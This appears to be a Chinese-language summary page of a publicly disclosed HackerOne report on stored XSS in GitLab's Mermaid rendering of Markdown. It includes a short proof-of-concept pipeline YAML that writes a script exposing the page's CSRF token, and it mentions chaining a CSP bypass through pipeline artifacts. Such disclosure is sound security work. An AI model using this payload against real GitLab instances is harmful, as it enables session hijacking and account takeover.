Stored XSS in Mermaid when viewing Markdown files
该报告还没有中文解读。
原文摘录
摘自原文(6647 字符中的一小部分)
GitLab's Mermaid configuration allows an attacker to inject HTML in the rendered Markdown. This can be combined with a CSP bypass using pipeline artifacts to achieve RCE.
原文中的代码
---
job:
script:
- "echo 'alert(parent.document.querySelector(\"meta[name=csrf-token]\").outerHTML)' > exploit.js"
artifacts:
paths:
- exploit.js默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @saleemrashid · 版权归作者与 GitLab 所有